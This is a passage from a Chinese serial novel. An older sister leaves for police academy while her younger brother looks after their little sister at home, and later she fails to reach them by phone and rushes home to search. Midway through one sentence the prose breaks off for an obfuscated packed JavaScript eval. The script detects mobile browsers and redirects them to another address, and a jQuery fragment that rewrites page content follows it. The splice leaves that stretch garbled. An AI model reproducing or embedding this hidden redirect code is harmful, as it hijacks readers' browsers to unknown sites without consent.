“你都不抱抱我。”淼淼的声音忽然从一旁传来,带着一股不满的天真,她撅着嘴,小手攥着自己的书包带,站在不远处看着他们。 阮秋松开了手,退了一步,偏过头去看她:“你又不走。” 他的声音平静,可眉梢间有一丝不易察觉的懊恼,像是被什么突如其来的情绪刺了一下。 淼淼皱起了眉头,嘴撅得更高了。 阮云琛忍不住弯了弯嘴角,她抬头朝车站的玻璃门扫了一圈,视线在那些穿梭的人群中停了片刻,却没看到什么熟悉的身影。 玻璃门外阳光刺眼,反射出一片晃动的白光,像是将所有的影子都吞噬了似的。 “姐姐——!”淼淼的声音拉回了她的注意力,小女孩的手抓住她的袖子,晃了晃。 阮云琛低下头,目光掠过淼淼那张带着些许委屈的小脸,重新弯了弯嘴角。 她走过去蹲下了身,把淼淼一把揽进怀里。 小女孩软软的头发贴在她的肩膀上,带着一股洗发水的香气,像是阳光底下的暖风。 女孩的手臂绕过她的脖子,紧紧搂着不肯放开,嘴里还念叨着:“姐姐不在的话,谁给我梳辫子啊……” “你哥会。”阮云琛轻声应了一句,目光穿过站台的玻璃,落在远处开来的大巴车上。 广播里最后一次响起了检票通知,阮云琛松开了淼淼,转身走向检票口,登上了车。 忽地,她瞧见那站台外边的路边,停着辆警车。 警车的窗半开着,烟雾从里面悠悠地飘出来,被风一卷,散成模糊的影子。 副驾驶座上的人影模模糊糊,看不真切,但那拿着烟举起又放下的动作,还有车窗里隐约的灰白烟圈,甚至不用仔细辨认,只瞥一眼,阮云琛便知道了那人是谁。 她没有再动。 大巴缓缓使出了站台,一点点汇入了车流。 80. 阮秋 时间已经过去了一个月又四天。 这个数字是阮秋清晨醒来时,淼淼在早餐桌上无意间提起的——她用勺子敲着碗边,小声嘟囔:“姐姐怎么还不回来?” 阮秋没有回答。他从炖锅里舀出最后一勺白粥,盛在自己碗里时才发现粥已经见底。他用筷子搅了搅,拌上榨菜,边吃边翻开一本复习资料。 淼淼没再吵,只是捧着碗,目光偶尔偷偷瞥向墙上那块表。那表还在走,滴滴答答地,把家里安静的气氛拉得更长。 窗外的蝉声密集,阳光透过窗帘在地板上撒了几片斑驳的影子。空气里飘着细微的灰尘,慢慢游荡,像是忘记了该去往哪里。 阮云琛离开家的那天,阮秋一直觉得,有些东西一起被带走了。 她的背包很轻,手里抓着的那张车票皱巴巴的,但却在家门口留下了几分隐形的重量,直到现在,他还没学会如何轻松地去面对。 这些日子里,阮秋的生活变得比以前忙碌了许多。 早晨是定好的闹钟把他唤醒,他从床边捞起衣服穿上,悄无声息地下床,生怕吵醒睡在另一间房的淼淼。 等厨房里的水壶发出尖锐的鸣叫声,淼淼才会揉着眼睛从房间探头出来,嘴里还含糊地喊:“哥,我还要睡五分钟。” 送她去学校后,他的日程会被时间表塞得满满当当——两小时的图书馆自习,半小时的练习卷解题,接着就是拳馆的训练或者兼职,直到日落的光线变得昏黄,他才拖着一身汗回到家。 门总是很安静地开着,等他推开时,看到的永远是一片空荡的房间。 拳馆里的拳套依旧挂在架子上,他总会在收拾器材时下意识地看一眼,但那双红色的拳套,却再也没有了熟悉的重量。 阮秋并没有多想,只是将那份若有似无的失落藏在指尖的动作里,整理好器材后便默默关灯离开。 跳级的申请通过了,校方发来了通知,下学期开学,他将直接进入高中的课堂。 这是他很久以来的目标,可当目标终于实现时,阮秋却没有感到想象中的轻松。 书桌上摊开的课本成了日复一日的陪伴,但某些时刻,他还是会无意间转头看向挂在墙上的倒计时表格。那是阮云琛离家前最后一次动手贴的,红圈划得整齐,却没来得及全部填满。 每到这个时候,他总会停下手里的笔,看着那一排整齐的红圈发呆。 心里的某个地方,总会涌起一些无处可放的情绪,像是想念,又像是别的什么。 阮秋没有把自己的情绪告诉任何人,包括淼淼。 他习惯将一切都藏在日常的缝隙里,比如准备晚饭时顺手擦过灶台的动作,比如听淼淼在餐桌上抱怨作业太多时点头的表情,比如每次离开拳馆前多留几分钟,看一眼换衣柜里的那双拳击鞋。 淼淼总是会在晚上早早地睡着。 她的房间贴满了五颜六色的画,整面墙都快装不下了。那些画从天花板一直铺到踢脚线,有的纸角翘起了,仿佛要飞起来似的。 阮秋站在门口,看着淼淼蜷在被子里的一小团,抬手轻轻将门关上。 日子过得太平静,就会变得有些枯燥,甚至会让人连醒来之后都有一种莫名的心不在焉感。 阮秋每天都会检查报箱,拿着那一大叠报纸传单,一张一张翻,生怕漏了什么,比如水电缴费单,比如......阮云琛的信。 可那封信还是被淼淼给先发现了。 淼淼难得起了个大早,一醒来就冲去了信箱,跟和阮秋赛跑似的抱着一打报纸奔了回来,接着有样学样地一张张翻, 忽地,有张薄薄的信封掉了出来。 阮淼淼夸张地“呀”了声,举着信跳了起来:“是姐姐寄来的!” 阮秋接过来,看到信封上简洁的字迹,眼角的线条缓缓舒展开了些。他把信递回去:“那你先读。” 淼淼趴在沙发上,小心翼翼地撕开信封,拿出信纸时,里面还夹着一张风景明信片。她看了一眼,转手递给阮秋:“给你的。” 阮秋低头看了看,那是一张田家庄市的风景图,上面画着一片竹林。 他的目光在明信片的背面停了停,看到阮云琛的字:“训练紧,没时间写太多,别总让淼淼撒娇。照顾好自己。” 信纸上内容不多,甚至可以说简短。阮云琛的笔迹很稳,和她说话的语气一样,字里行间没有半点多余的温情。 她提到警校生活很忙碌,偶尔会提到同学们的趣事,还有食堂的饭菜怎么样。 淼淼念到最后,忽然停住了:“咦,姐姐怎么没写她想不想家?” 阮秋把明信片放在桌上,抽出信纸翻看了一眼,没有接话。 想不想家? 这种问题,阮云琛不会说。 阮秋也不会问。 可他—— 他和淼淼,都想她了。 隔壁单元的谢胖子说他也是。 阮秋忍不住翻了他一个大白眼。 “你跟我姐又没什么太多交情,你想她做什么?” 胖子言之凿凿:“我们好歹也是互相都送你妹妹上过学的交情,再不济咱俩家也是邻居,怎么就不能意思意思想一下了?” 吃人手软拿人嘴短,别说是拿人的了,单是胖子每个周末都顺路送淼淼上补习班这件事,就能让阮秋一瞬间哑口无言。 胖子蹲在巷子口嘿嘿一笑,吹了吹三轮车上摆的一票假花,又整了整头顶撑着的那把掉了漆的遮阳伞。他嘴里叼着根牙签,手里还转着个记账本,打算开始盘算今天的收成。 “食品生意不好做,”胖子自顾自地嘀咕了一句,像是看穿了阮秋的疑惑,“八宝粥这东西,味道再好,也经不住人说你‘偷工减料’。隔壁的小孩吃了两口拉肚子,他妈一口咬定是我的问题,天天跑市场监督局投诉。” 他说着摆了摆手,露出一脸“懒得计较”的表情:“换了卖假花,这总没什么油烟吧?还能清闲点,省得老跟人掰扯。” 他说话时,手指无意识地转着一朵塑料玫瑰,亮红的花瓣在阳光下反着光,看着不怎么自然。 胖子抬头瞥了阮秋一眼,打趣道:“送花给姑娘吗?今天买一送一,算你便宜点。” 阮秋没理会他的调侃,只是看着那些塑料花发了会儿呆,随后摇了摇头。 胖子觉得没趣,上下打量了一番阮秋,嫌弃道:“你都没个喜欢的姑娘吗?” 阮秋被他看得不耐烦,又起了一股无名火,直往脑门顶上蹿:“跟你有什么关系。” “那送给喜欢你的也行啊。”谢胖子一点儿也不气馁,“你这么牛,又聪明,又拿奖学金,还跳级,长得又高,还帅,跟你差不多年纪的小丫头,那不得情书递疯了啊。” 阮秋想起自己书包里隔三差五就出现的粉色信件,和学校里时而不时地就飘过来的目光,更加烦躁:“你能少说两句吗?” 胖子也没被他惹恼,只瞪着眼珠子往他口袋里瞧,仿佛能瞧出朵花儿来:“那你没有想追的姑娘,天天带着根头皮筋干什么?给谁的?” 阮秋一愣,瞧见那根粉黄的头绳露了半截在外面,不知怎么的,脸上就是一阵烧,烧得那股无名怒火更旺了:“你管我。” 他说完,扭头就走了,惹得胖子坐在那破三轮上直发懵:“吃枪子儿了?” 天色渐渐暗了。 在书桌前坐得久了,腰背就都会酸痛。 窗外夜色浓重,路灯的光斑透过窗帘洒在地板上,显得安静而冷清。面前的书本摊得满满当当,课本上画了几道笔记,但阮秋盯着上面的字,眼神却有些发散。 他最近试过在街边找兼职,但多是些搬货、发传单的体力活,要么时间和学业冲突,要么报酬低得离谱。 一天赚不到几块钱,还得咬着牙坚持。 有一回,他在便利店做夜班,回家时已经是凌晨两点。 街道上没什么人,他提着两瓶过期了但还没变质的酸奶,一边喝,一边走,一边走,一边心里难受得紧。 那些单薄的收入,在日复一日的消耗下却显得微不足道。 阮秋知道自己得坚强。 肩膀上的重量并不是让人窒息的感觉。它更像是某种静默的审判,冷冷地悬在心头,让人无处可逃......原来这就是一直以来阮云琛所扛下的东西吗? 夜班后的清晨,他坐在书桌前,手边堆着试卷和备考资料。窗外的阳光很淡,灰蒙蒙的天色像涂抹不匀的水彩画,连空气都透着一股潮湿的倦意。 他看着那些密密麻麻的公式,手指在纸上轻轻敲了两下,心里却翻腾得厉害。 有时候他会在黑暗中坐起来,盯着窗外看上许久。 他一点都不觉得累。 他只是忽然...... 忽然意识到了阮云琛到底有多么坚强。 她不是不累。 她是不能觉得累。 她靠着自己瘦弱的肩膀撑起了一片广阔的天,天空之外是刺人的刀子,是遍布的荆棘,可天空之下的淼淼和他,却只能瞧得见那美丽的蓝天白云。 阮秋甚至觉得,自己现在这样的生活根本不算什么——他只不过是承担了阮云琛曾经的一小部分罢了。 这么想着,他的目光不由得落在桌上那封信上。 那是阮云琛寄来的,字迹一如既往地干净利落,寥寥数语,却让他读了一遍又一遍。 说是警校课程很忙,说是体能训练很多,而那其中,还有一个问题—— “家里都好吧?” 好。 当然好。 阮秋想提笔回信,告诉她一切都很好,可那笔却迟迟没有落下。 他不知道该写些什么。 想说家里的日子不难,却又怕她真的信了,以为没有她也可以;想说自己在努力,却又怕显得太矫情。 阮秋低下头,手指在纸边抚了一下,轻轻叹了口气。 他明白,写信不是难事,真正难的,是把心里的话藏起来,让它们变得平淡又普通,像某种机械的安慰。 “姐,我很好,淼淼也很好。” 他在心里默念了一句,像是在练习,又像是在说服自己。 房间里很静。 灯光投下柔和的光晕,把桌上那本打开的习题册染上了一层浅金色。阮秋抬眼看了看那间敞开了门的卧室,看着那墙上挂着的拳套,红色的皮革在灯光下显得格外醒目。 有一瞬间,思念如潮水。 ——记得照顾好自己,别老是想着我们。家里没问题,等你回来。 这是阮秋给阮云琛的信件里写的内容。 收到信时,阮云琛刚结束当天的队列训练。她拖着一身的汗回到宿舍,就看到检信员送来的信函。 信封被放在床头,表面有些皱,像是被反复摸过一样。 她一眼就认出了阮秋的字迹。 拆开信封的时候,她的手指下意识地一抖,想看,却又不敢看。 但她也没有手机——廖致远要给她买,但阮云琛坚持不要,反正即使是有手机,警校能够允许使用的时间段也是固定且少的,拿了也是浪费时间。 所以这信倒是成了她与家里交流的唯一方式。 阮云琛犹豫了很久,最后还是给打了开来。 信很短,只有几行字:“姐,家里都挺好的,淼淼最近学会了一首新歌,还画了几幅画。她想挂在你的房间里,可我没答应。 我的话......高二的生活很充实,廖叔叔让我少打工,我就改成了只去周末,胖哥会顺路送淼淼上画画补习班,不用担心。 记得照顾好自己,别老是想着我们。家里没问题,等你回来。” 字迹一如既往的端正,内容一如既往的报喜不报忧。阮云琛看了几遍,心里却没有平静下来。 她坐在床沿,目光落在信纸上,脑子里浮现出阮秋写这封信时的画面。 他应该是坐在书桌前,书桌上摞着几本教科书,那是跳级后新增的课业内容。 他的笔记向来工整,书页边角没有一丝卷曲。淼淼可能就在旁边,铺开她那一套缤纷的彩笔,正兴致勃勃地画着什么,颜色一层层堆叠起来,把整张纸涂得五颜六色。 阮秋会不时抬起头,假装皱眉,说一声:“别弄脏了桌布。” 语气里带着无奈,却并不是真的责备。 这样的画面很平静,很安稳,可正是这份平静,让阮云琛的心隐隐发酸。 阮云琛清楚,这份安稳不是理所当然的。 它是用多少次踉跄和跌倒换来的,是用无数个狼狈不堪的日夜拼凑起来的。 她也明白,阮秋信里的每一句“没问题”,都不过是他用力撑起的体面,用来告诉她“你可以放心”。 可真的能放心吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178237|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 阮云琛抬起手,轻轻按了按额头,仿佛这样能把那些缠绕在脑海里的思绪压下去。 她知道,自己离开后,阮秋背负的东西会比他承认的更多。 他会把责任揽在肩上,像她当初一样,不动声色地咬牙坚持。 他会在淼淼面前扮演一个永远冷静的哥哥,而在夜深人静时,可能会像以前的自己一样,偷偷抹掉那些疲惫和狼狈。 这些念头一层一层堆积起来,像是手指按在未愈的伤口上,钝痛却无法忽视。 阮云琛把信重新折好,手指微微用力,像是在掩饰某种情绪。然后,她缓缓地把信放进枕头下。 宿舍外响起了哨声,尖锐得像一记无声的催促。楼道里的脚步声此起彼伏,其他学员正在赶往晚课的途中。 阮云琛看了眼墙上的时钟,深吸一口气,起身出了门。 大学二年级新增了一门课程,是家庭纠纷调解的模拟演练。 教官分了组,每组负责不同的情景:财产争执、邻里矛盾、家庭暴力。阮云琛被分到了最后一组。 阮云琛收回思绪,指尖轻轻按在桌面的文件夹上,滑过每一行字。面前摆着一份模拟案件的剧本,她需要扮演一名调解员,处理一场因为家庭琐事而引发的纠纷。 “开始。”教官在前方发令,声音低沉而简短。 阮云琛微微颔首,目光迅速扫过对面扮演纠纷家庭的两名学员。她深吸一口气,沉声开口:“先冷静一下,听我说。” 她的语调不急不缓,吐字清晰,像是一道精准的指令。对面的“妻子”正激动地比划着手中的“欠条”,而“丈夫”则不耐烦地冷笑着,似乎随时都会站起来摔门离开。 “你们的争执现在只会让问题更复杂,我需要两位暂时保持安静。”她的目光直视对方,语气里没有丝毫让步的余地,“先告诉我,这笔钱是什么时候欠下的?” “妻子”愤愤开口:“三个月前,他去赌——” “丈夫”一拍桌子,打断了她:“别瞎说!” 桌椅微微晃了一下,现场的气氛像一根紧绷的琴弦,稍有不慎便会崩断。阮云琛看了两人一眼,声音更低了一些,但力度没有减:“别急着争辩,先说清楚,具体金额是多少?用在哪里?” 她的冷静让“丈夫”终于沉默了片刻,低声嘟囔:“两千。” “妻子”冷笑了一声,眼中满是嘲讽:“你怎么不说是赌输了两千!” “够了。”阮云琛轻轻敲了下桌面,截断了这场唇枪舌剑。她的手指在桌上顿了顿,随后合上文件夹,目光重新回到两人之间。 “你们的情绪可以理解,但现在重要的是解决问题。”她顿了一下,语气微微缓和,“有没有还款的计划?还是说,有其他方式解决?” 场面安静了一瞬,对面的学员互相对视,似乎都在等待对方先开口。 阮云琛的眼神冷静如水,仿佛能穿透这短暂的僵局。但只有她自己知道,心底的那点情绪并没有完全平复。 她的脑海里忽然闪过一个画面——小时候,阮启明的拳头挥在茶几上,玻璃碎了一地,空气中弥漫着白酒刺鼻的气味。她的声音发着颤,求着妈妈快跑。可那个女人只是木然地站在原地,眼神空洞得像一口深井。 现在,这个训练场里的情节不过是纸上谈兵,是剧本设定的模拟。可曾经,她经历过太多不需要剧本就能撕裂人心的场面。 阮云琛闭了闭眼,把画面甩出脑海,重新集中注意力。 教官在旁边观察了一会儿,微微点头,拿起笔在评估表上写了些什么。而阮云琛的手指依然搭在桌面上,静静等待这场演练的结束。 阮云琛知道她完成得一丝不苟。 可那种挥之不去的情绪,就像训练场角落里悬挂的国旗,在无风的时刻,也会在阳光下轻轻晃动,几乎无法察觉,却始终在那里。 桌上白纸黑字,模拟纠纷的剧本写得条理分明,甚至连争执的时间、地点都列得一清二楚。 两名学员的情绪也被训练得恰到好处,一个愤怒,一个防备,像是两根随时会绷断的弦,却又精准地卡在了不失控的范围里。 阮云琛盯着那份剧本,手指在文件夹的边角轻轻摩挲了一下。她脑海里闪过的第一个念头,不是这场演练该怎么操作,而是:原来这种场景,是会在警校里模拟的啊。 她的目光扫过对面那两个“夫妻”,那些愤怒与委屈,指责与争吵,全都写在纸上,分门别类地被归档成了“可控情绪”。 每一个动作、每一句台词,都像是被设定好的程序,甚至连最终的调解结果也被标注在了旁边的脚注里。 可为什么呢? 为什么这些被用作训练的纠纷,在真正的生活里,却从没有人去执行解决? 她的视线不自觉地停在了文件夹的某一行字上:调解员的任务是以冷静态度化解冲突,最大程度维护家庭和睦。 “家庭和睦”这四个字安安静静地躺在那里,苍白得有些滑稽。 她忍不住想起小时候,那个凌晨,她跑到派出所的时候,手里拽着一片被打烂的碗沿,尖锐的边角已经割破了手指。她一边哭,一边喊着“妈妈快被爸爸打死了”。 可当时,那个值班的警察只是低头喝了一口水,冷淡地吐出一句:“家务事我们不管。” ——家务事。 阮云琛微微吸了口气,把那些回忆压下去,指尖不易察觉地紧了紧。她不需要再记起太多细节,她只知道,后来她妈妈没死,但也差点死了;而那个家庭,早就在无数个这样的夜晚里,一点点瓦解成了没有人想要看一眼的废墟。 可现在,坐在这个训练室里,剧本上的文字却显得光鲜又公式化,像是在为现实贴上一层几乎透明的伪装。 阮云琛抬眼看向对面那两个学员,耳边是他们精准却有些虚假的争吵。没有真正的情绪,没有血肉的痛感,只是一场演习,一场没有任何风险的预设场景。 她的声音平稳而冷静:“不要争了,继续说。” 阮云琛说这句话的时候,连自己都觉得讽刺。 为什么呢......? 为什么世界上仍旧会存在这样的事情呢? 这个问题没有答案。 她找不到答案。 这种虚无缥缈的东西,就跟为什么命运总喜欢玩弄放松警惕的人一样,难以捉摸。 81. 电三轮 警校的电话亭总是排着长队,队伍静悄悄的,偶尔有低声交谈,声音也散得快,像水蒸气遇冷凝成冰。 阮云琛的前面还有三个人。 手表的指针已经指向了八点四十,阮云琛抬头扫了一眼排队的方向,眼神落在最前面的那台电话上。 听筒上沾了汗渍,浅浅的,电话线有些松,垂在那里,像没睡醒。 接下来就是考试周,再往后,学期末的日子也就不远了。警校的日程排得满满当当,从清晨的体能训练到傍晚的理论课,哪怕周末也是一场接一场的测试和考核。 阮云琛不怕考试,却也开始算日子,算自己多久没听过家里的声音了。 手指划过裤缝的线条,阮云琛忽然想起了淼淼,总爱趴在书桌旁画画的小家伙,不知道这会儿是不是在往房间的墙上又贴了什么新画。 还有阮秋,她记得他上次在信里提到跳级后的压力,语气平静得很,但她知道他那副强撑着的样子。 思绪回到眼前,轮到她时,阮云琛把听筒拿起来,手指快速地拨了一串号码。电话的嘟声回荡在耳边,空荡荡的,像脚步声在深巷里传开。 没有人接。 阮云琛皱了皱眉,又拨了一次——结果还是一样。 没有人接。 她缓缓放下听筒,站在原地愣了一秒,视线落在墙上的通知栏上。白底黑字写着“通话时间不得超过五分钟”。 可就在那么一瞬间,心底却掠过一阵不明所以的慌乱。 电话为什么没人接? ……可能是多想了。 可能是阮秋带着淼淼出门了,又或者……家里有什么事情? 可九点......九点淼淼都快入睡了,阮秋也应该早就结束了打工——如果他也在她当初的那家拳馆打工的话。 为什么没人接电话? 阮云琛不自觉地皱了皱眉,手指在电话机旁边无意识地敲了一下,敲出几声轻响。 走廊里的风从窗口灌进来,带着几分冰凉,她忍不住把衣领拉了拉。却越拉越冷,仿佛那些凉意不止是风带来的。 阮云琛想了想,抬起手又一次拿起听筒。拨号盘转动的声音轻轻地响起,像是催促,又像是提醒。数字拨完,电话刚响了一声,阮云琛却又条件反射地按下了挂断键。 廖致远...... 廖致远可能在加班。 他总是这样,手机也关着机,想联系都联系不上。 她盯着挂断的电话,心里有什么东西像在翻滚,又像是被压住了。 这样的动作几乎成了条件反射。 廖致远总是忙,手机也总关着机,想联系都联系不上——对、对,这理由显得正当又合情合理,可放下听筒后,阮云琛依然觉得胸口沉了一下。 墙上的钟表已经指向了九点。 时间在走廊的安静里拉得很长,她站了一会儿,像是在等某种不可能的答案。 脚步声从走廊尽头传来,其他人换班走过,阮云琛转过身,将听筒挂回去,手指轻轻压了一下,确保它扣得严丝合缝。 离开电话亭时,风又一次吹过走廊,凉意贴着她的脖颈滑下去,阮云琛低头看了眼手表,步伐不紧不慢,依旧踩在规定的时间线上。 可内心那点细小的慌乱,却像是某种始终停不下的嘀嗒声。 九点...... 是因为什么原因,九点没人接电话? 在烧饭,没听见? 不可能——厨房也有电话机。 在屋里辅导淼淼功课,没听见? 也不可能......那电话铃声大得隔着防盗门都能听得见,又怎么可能关在屋里就聋了? 通话室窗口的百合香得人脑仁发疼,阮云琛无意识地盯着那白色的花瓣看了许久,忽地身体一僵。 百合...... 百合。 白色的百合,黑色的丝带......只要蹭到了那黄色的花蕊,便再也无法洗掉。 阮云琛的目光微微颤动,手指下意识攥紧了口袋边缘。 耳边响起的是电话嘟声的余韵,心底却隐约浮起某种压抑已久的画面:那是一个夏天,阳光同样刺眼得叫人睁不开眼。 地上的水迹混杂着泥泞和灰尘,一群脚步声渐行渐远,散开的声音像风吹动空瓶子——无意义又无归处。 那声音低低的,像某种告别。 阮云琛的手指松了又紧,像是想要抓住什么,却无从下手。 她突然迈开步子,快步穿过走廊,穿过哨声响起的院子,直到身体重新回到阳光下,呼吸也依旧沉闷。 这不可能,她告诉自己。 这不会是她想的那样。 可如果...... 如果只是带淼淼去医院复查呢? 不可能...不可能。 如果阮秋带淼淼去医院,那一定会设置电话忙音留言,或者直接打给学校,让学校转信——阮秋不会这么无缘无故的失联。 心里的慌张几乎堵住了呼吸,阮云琛的步伐越来越快,最后几乎是狂奔着回到了宿舍。 舍友几人都不在,可能都是去各自夜间训练去了——也还好不在,否则阮云琛不知道该如何应对他们的关心......又或是好奇。 阮云琛翻了翻课表,确认了第二天的课程安排,然后摸出纸笔,写了张请假离校申请。 “家里有急事,需紧急请假,请批准。” 阮云琛写完,又觉得不够妥当,将“需紧急返乡”几个字划掉,改成“需返乡处理事宜”。 可辅导员已经下班了。 阮云琛看着熄了灯的办公室,抿了抿嘴,手指攥着请假条,一点点捏了紧。 风从走廊尽头的窗户里灌进来,带着点凉意,吹在她的手背上。 阮云琛咬了咬牙,转身朝着学校后门跑去。 保安巡逻的并没有很勤,大概是他们也不觉得这帮子以后要当警察的人会不守规矩。所以只要找时间错开保安的视线,就能找到机会。 阮云琛踩上墙边的花坛,土松得像随时要塌,她却没犹豫,手腕一翻稳稳攀住了铁栏杆。 铁栏杆的尖顶在月光下闪着冷光,像一排森然的刀刃,静静地横亘在她面前。她深吸了一口气,脚下稍稍一蹬,身体像拉紧的弓弦,轻巧地翻了过去。 可阮云琛的动作太急了,她的裤脚被铁尖勾了一下,布料发出细微的撕裂声,险些将她拉住。阮云琛猛地一扯,脱了力,落地的动作有些不稳。 她的脚跟重重地砸在地面,震得膝盖一颤。细小的石子擦过膝盖,留下轻微的刺痛感。 阮云琛皱了皱眉,却没吭声,手心下意识地撑住地面,迅速稳住了身形。 ——没时间多耽搁。 墙外的空气闷热,夹杂着一丝泥土的潮气。 阮云琛抬起头,目光扫了一眼身后的高墙,又看了看四周。夜色沉得像浓墨,月光下整个校园静谧而空旷,像是在为她的每一步腾出空间。 没有人会发现。 等到阮云琛坐上大巴时,已经是深夜十一点。车厢里开着空调,冷风吹得她发抖,她却没心思顾着这些。车窗外一片黑,只有路灯和偶尔的广告牌闪过,映在玻璃上模糊一片。 阮云琛没睡,听着车上放着的不知名的广播,脑袋里却一直回想着那两声空洞的嘟声。 快点...... 快点。 得快点到家。 心中的不安随着车声一点点扩大,天黑得可怕,夜空中没有半颗星星。 大巴车的座椅有些硬,靠背上的布套松松垮垮,垂着一角。 车窗玻璃上映出阮云琛的脸,影影绰绰,轮廓模糊,像是覆了一层雾。窗外的夜色一片漆黑,偶尔路过几盏路灯,也显得格外孤单。 她双手交握放在膝上,指尖无意识地按着裤缝,眼神游离,盯着窗外的黑暗发呆。车内的灯光昏黄,空气里弥漫着一股汗味和方便面的咸腥。 “姑娘,你还好吧?”邻座的老人忽然开口,声音低哑,却透着一丝关切。 阮云琛回过头,嘴角牵动了一下,勉强扯出一个笑容。笑容浅薄,像被风吹得摇摇欲坠。 老人微微侧了侧身,眯着眼端详了她一会儿,似乎看透了什么,也没有多问,只是缓缓说道:“没事的,一切都会过去的。” 那语气不轻不重,却像某种深夜里的一盏灯,短暂地打在阮云琛的心上。 她垂下眼睛,声音压得很低:“谢谢。” 老人笑了笑,又转过头去,掰起了橘子,发出轻微的摩擦声。 阮云琛闭上眼,脑海里那些杂乱的念头却没有因此消散。车子的颠簸像是某种催眠曲,催着她闭上眼,却也让不安的情绪随着心跳一点点响彻脑海。 清晨六点多,淮龙市的天才刚蒙蒙亮。 阮云琛站在家门口,敲门的手微微发颤——走得太急,什么都没带,连钥匙都落在了寝室。 楼道里的灯光闪了两下,最终彻底熄灭了。 阮云琛看着门牌,敲了又敲,心里开始止不住地乱想:难道他们真的不在家? 可昨天九点没人接电话,今早六点......六点,不在家,又能在哪儿? 周五的六点,他们应该......应该还在准备吃早餐,阮秋应该在厨房里,门后应该有锅铲碰撞的声音,电饭锅冒着蒸汽的声响,还有收音机里播报天气的女声...这些原本应该从门后传来的生活气息,此刻却悄无声息。 为什么没有声音? 为什么没人开门? 心理不好的预感越来越重,止不住的慌乱几乎要占据整个脑海,电话室的那束百合不断在脑海中闪现,黑色的丝带仿佛桎梏呼吸的枷锁,越收越紧,几乎让她喘不过气来。手指无意识地摩挲着门框,恐慌感如潮水,铺天盖地地涌了来。 楼上的张婶正好提着菜篮子出来,见到她先是一愣,接着满脸茫然,看了看手机日期,又看了看墙上的挂钟。 “这不阮丫头吗......?你怎么这时候就回来了?” 可张婶也不知道阮秋和淼淼在哪。 “我昨天也没出门,啷个晓得哦。”张婶撇了撇嘴,伸头朝廖致远的公寓门那看了眼,“老廖又在加班?” 还没等阮云琛回,张婶摇了摇头,自顾自地嘟囔了句听不懂的方言,走了。 阮云琛的掌心已经被汗浸湿,指甲掐进了肉里,她却感觉不到痛。 忽地,楼下传来一阵叮铃当啷的铃声。 阮云琛身体猛地一震,跑下楼去,却是只看见隔壁单元的胖子骑着小三轮晃晃悠悠地从巷子里拐出来,车头还挂着个醒目的小喇叭。 看到阮云琛时,他吓了一跳,赶忙刹车:“哎哟,我的妈呀!阮妹妹,你不是去田家庄读大学了吗?怎么这时候回来了?挂科啦?” 他说着瞥到了阮云琛的膝盖,夸张地“呀”了声:“阮妹妹!你膝盖流血了?” 阮云琛见不是她想的人,眉头一皱,可转念一想,胖子成日里满淮龙地跑,说不定真能见着什么:“我没事......你看见阮秋和淼淼了吗?” 胖子一愣,连连摇头:“没见过啊,他们不在家?” 阮云琛心里开始觉得不太妙了,语气有些急促:“没有......昨天晚上打电话就没人接,刚刚敲门,好像家里也没人。” “你没带钥匙?”胖子一愣。 “走太急了,忘记了。”阮云琛扯了扯衣摆——那是洗漱完换上的睡衣,一件T恤一条大短裤,脚上还是双普通的塑料拖鞋。本来想着的是打完电话就回寝睡的,可哪儿想出了这档子事。 胖子“啧”了一声:“行吧,别着急,先上车!我带你找去。” 说着,他拍了拍三轮车的后座:“小心点,这车我换了电瓶,跑得快,别掉下去。” 阮云琛本不想麻烦他,但眼下也没有什么别的更好的办法,她犹豫了下,说了声“谢谢”。 这刚一跳上车,就有一股酸咸交杂的气味蹿了上来。阮云琛下意识地屏住了呼吸,胖子瞧见了,嘿嘿一笑:“最近改卖螺蛳粉了,味儿冲,但生意火爆得很。” 三轮车发动时,发出一声尖锐的金属摩擦声。胖子猛踩油门,这破车像箭一样窜了出去,卷起一阵尘土。 “你也别太担心,阮秋那小子现在也十六七了,怎么说也是个小大人了,能照顾好淼淼丫头的。” 胖子说起话来翁隆翁隆的,伴着那迎面刮来的风,更是让人听不清楚一点。 阮云琛囫囵地“嗯”了声。 谢胖子的三轮车咯吱咯吱地穿过早晨的街道,空气里带着潮湿的冷意。 天刚蒙蒙亮,路边的早餐摊才开始忙碌,炊烟缭绕,混杂着淡淡的豆浆和油条的味道。阮云琛坐在车后,眼神死死盯着前方,嗓音低沉:“先去学校。” 三轮车停在校门口,早晨的街道冷得像刚褪去夜晚的湿气,白雾缭绕,连光都显得沉闷。 校门紧闭,铁门上的油漆剥落出斑驳的痕迹,连带着墙边堆积的垃圾袋,都让这个地方看上去不怎么像能找到人的地方。 阮云琛跳下车,鞋底踩在被夜露打湿的地面上,发出一声轻响。她走近保安室,透过脏兮兮的玻璃看了一眼,里面没有灯光。 她敲了敲窗户,动作干脆利落,像是要把沉闷的清晨敲出点声音来。没人回应。 谢胖子没下车,只是扯着嗓子喊:“别睡了——找人呢!”声音在寂静的校园门口显得尤为刺耳。 里面的帘子动了一下,一个穿着制服的保安探头出来,脸上写满了起床气。 阮云琛站在窗外,盯着他打了个哈欠,目光却透着隐隐的锐利。她的手垂在身侧,手指微微蜷着,好像随时准备再敲一次。 保安转头回忆了一下,又摇摇头。他摇头的动作很轻,像是在表示昨晚什么都没发生过。阮云琛盯着他,片刻后点点头,转身往回走。 谢胖子低着头把手搭在三轮车把上,侧身看她:“接下来去哪儿?” 阮云琛没说话,上车时动作比下车时更快。 轮子一转,车晃了一下,她的手紧紧抓住车边,像是习惯了摇晃,也习惯了冷风。风从脖颈处灌进去,她的头发被吹得贴在脸侧,遮住了那一瞬的失落。 路边的早餐摊开始忙碌,几缕炊烟伴着油香钻进车厢里。 阮云琛抬头看着街边一个个模糊的行人,沉默地梳理脑海里的线路图。 ——淼淼不可能跑远。 可她到底去哪儿了......? 这个问题如同一根针,轻轻扎着,疼得刚好够人清醒。 阮秋的学校依也没有线索。 也不可能有线索。 早上六点半,没谁会来这边上学,连小吃摊都还没推来校门口,阮秋又怎么可能在送淼淼去学校之前来这里? 可他们还能去哪儿? 